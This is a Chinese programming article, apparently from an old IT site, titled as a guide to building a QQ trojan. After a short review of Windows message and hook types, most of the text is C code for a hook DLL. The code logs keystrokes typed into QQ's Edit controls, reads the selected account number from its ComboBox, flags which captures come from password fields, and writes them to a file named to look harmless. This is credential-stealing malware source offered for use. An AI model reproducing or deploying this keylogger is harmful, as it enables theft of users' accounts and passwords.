自己动手做QQ木马-----HOOK篇

类别:VC语言 点击:0 评论:0 推荐:

自己动手写QQ木马-----HOOK篇

 

    首先让我们来回顾一下Windows的消息分类。

l        WM_XXX(除WM_COMMAND和WM_NOTIFY外)WINDOWS消息

硬件的输入消息或USER模块的窗口管理消息,任何派生自CWnd的类均可接收此消息。

l        WM_COMMAND命令消息

凡由UI对象产生的消息,可能来自菜单或加速键(wParam代表消息的来源),凡派生于CCmdTarget的类都由资格接收此消息。

l        WM_COMMAND 或 WM_NOTIFY 控件通知消息,为的是向其父窗口(通常是对话框)通知某种消息。

控件分 标准控件 如Edit、ComboBox、ListBox 使用WM_COMMAND

       常用控件 如ImageList、ListCtrl、TreeCtrl等使用WM_NOTIFY

l        WM_SYSCOMMAND系统菜单的命令消息。就是在窗口的标题栏处点右键弹出的菜单。

下图是Windows消息处理机制图:

     通过上图,可以知道通过对某一线程设置消息钩子,就可以取得该线程消息泵分发出的消息。也就是说任何消息钩子截获的都是在消息泵处理之后的消息。下面列出常用的几个消息钩子类型:

l         WH_GETMESSAGE 监视使用PostMessage()入消息队列的消息

l         WH_CALLWNDPROC 监视系统发给(SendMessage())目标窗口过程处理之前的消息

l         WH_CALLWNDPROCRET 监视目标窗口过程处理之后的消息(SendMessage())

l         WH_KEYBOARD 监视键盘消息

l         WH_MOUSE 监视鼠标消息

要想对某个窗口的消息进行挂钩,可以使用SPY++找到该窗口,设置要捕获消息的类型,开始捕捉后,可以看到列出的许多消息。每条消息的第三项有“S”、“R”、“P”字符,他们分别代表的意思:

l         “S”该消息是使用SendMessage发送到消息队列的。它要等待返回。捕捉该消息需使用WH_CALLWNDPROC

l         “R”该消息是使用SendMessage发送到消息队列,并经过目标窗口的处理函数处理过的消息。捕捉该消息需使用WH_CALLWNDPROCRET

l         “P”该消息是使用PostMessage寄送到消息队列的消息,它不要求返回。使用

WH_GETMESSAGE捕捉。

     因为对要取的QQ的号码和密码,则需要对两类控件窗口消息挂钩,一是ComboBox,另一个当然是Edit啦。

       hhook1 = SetWindowsHookEx(WH_CALLWNDPROCRET, CallWndRetProc, g_hinstDll, dwThreadId);

   WH_CALLWNDPROCRET截取WM_GETTEXT取的组合框中的内容,还截获WM_KILLFOCUS取得编辑框(非密码框)的内容。

       hhook2 = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, g_hinstDll, dwThreadId);

   WH_GETMESSAGE截取WM_CHAR消息,获取键盘输入。

下面是这两个钩子消息处理函数的代码:

HINSTANCE g_hinstDll          = NULL;         // instance handle

HWND   g_hwndComboBox         = NULL;      //Handle of window to be monitored

HWND   g_hwndEdit                 = NULL;

TCHAR g_lpszEditDump[32] = {0};      //键盘输入Edit控件的内容

BOOL      g_fSingleEnter  = true;     //一次键盘输入POST两次WM_CHAR

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

#pragma data_seg("Shared")

HHOOK  g_hhook1                       = NULL;             // Hook handle for thread-specific hook

HHOOK  g_hhook2             = NULL;

const char g_classname1[]   = "ComboBox";

const char g_classname2[]   = "Edit";   //for class name you want to monitor

#define FILE_PATH_NAME      "c:\\ravdataq.dat"

#pragma data_seg()

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

static LRESULT WINAPI CallWndRetProc (int nCode, WPARAM wParam, LPARAM lParam)

{

       TCHAR  lpszClassName[16] = {0};         //消息所属窗口类名字

       int      nIndex            = 0;           //ComboBox所选内容的序列号

       TCHAR  lpszComboBox[16] = {0};         //ComboxBox所选的字符串内容

       TCHAR  lpszDump[64]    = {0};          //组合框写入文件的字符串

       TCHAR  lpString[64]      = {0};          //编辑框写入文件的字符串

      

       CWPRETSTRUCT *pmsg = (CWPRETSTRUCT*)lParam;

    if(nCode != HC_ACTION || wParam != NULL)

       {

              return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));

       }

       switch (pmsg->message)

       {

       case WM_GETTEXT:

              GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));

           //判断是否是指定的组合框

        if((0 == lstrcmp(lpszClassName, g_classname1)) &&

                     (NULL == g_hwndComboBox))

              {

                     g_hwndComboBox = pmsg->hwnd;

              }

             

              if(g_hwndComboBox == pmsg->hwnd)

              {

//取得当前ComboBox选择的序号

                     nIndex =(int) SendMessage(g_hwndComboBox,

                            CB_GETCURSEL, 0, 0);

            if(CB_ERR == nIndex)

                     {

                            //若没有选择则退出

                            return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));

                     }

                     lstrcpy(lpszComboBox, LPCSTR(pmsg->lParam));

                     wsprintf(lpszDump, "  Index = %d content = %s ",

                            nIndex, lpszComboBox);

                     //写入文件

                     fzWriteFile(lpszDump);

              }

              break;

       case WM_KILLFOCUS:

              GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));

              //判断是否是指定应用程序下的编辑框

              if ((lstrcmp(lpszClassName, g_classname2) == 0) &&

                     (g_hwndEdit != NULL))

              {

                     //判断是否是密码框

                     if(::GetWindowLong(g_hwndEdit, GWL_STYLE) &

                            ES_PASSWORD)

                     {

                            wsprintf(lpString, " Password = %s", (LPTSTR)g_lpszEditDump);

                     }

                     else

                     {

                            wsprintf(lpString, " Content = %s", (LPTSTR)g_lpszEditDump);                       }

                     //将存储起来的字符串写入文件

            fzWriteFile(lpString);

                     //清除一些全局变量

                     g_hwndEdit = NULL;

                     ZeroMemory(g_lpszEditDump, 32);

              }

              break;

       }

       return(CallNextHookEx(g_hhook1, nCode, wParam, lParam));

}

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

static LRESULT WINAPI GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)

{

       TCHAR  lpStr[2]         = {0};                  //存储按键字符

       char   lpszClassName[16] = {0};

       TCHAR   CR = 0x0D;                 //回车

       LRESULT lResult = CallNextHookEx(g_hhook2, nCode, wParam, lParam);

       PMSG pmsg = (PMSG)lParam;

       if (nCode == HC_ACTION)

       {

              switch (pmsg->message)

              {

              case WM_CHAR:  //截获发向焦点窗口的键盘消息

                     GetClassName(pmsg->hwnd, lpszClassName, sizeof(lpszClassName));

                     //判断是否是指定应用程序下的编辑框

                     if ((lstrcmp(lpszClassName, g_classname2) == 0) &&

                             (g_hwndEdit == NULL))

                     {

                            g_hwndEdit = pmsg->hwnd;

                     }

                     if (g_hwndEdit == pmsg->hwnd)

                     {

                            if(g_fSingleEnter)

                            {

                                   lpStr[0] = (TCHAR)(pmsg->wParam);

                                   lpStr[1] = '\0';

                                   lstrcat((LPTSTR)g_lpszEditDump, (LPTSTR)lpStr);

                                   g_fSingleEnter = false;

                            }

                            else

                            {

                                   g_fSingleEnter = true;

                            }

                     }

                     break;

              }

       }

       return(lResult);

}

    有关DLL的调试,请看本人发表的另一篇文章《DLL的调试》。

本文地址:http://com.8s8s.com/it/it1890.htm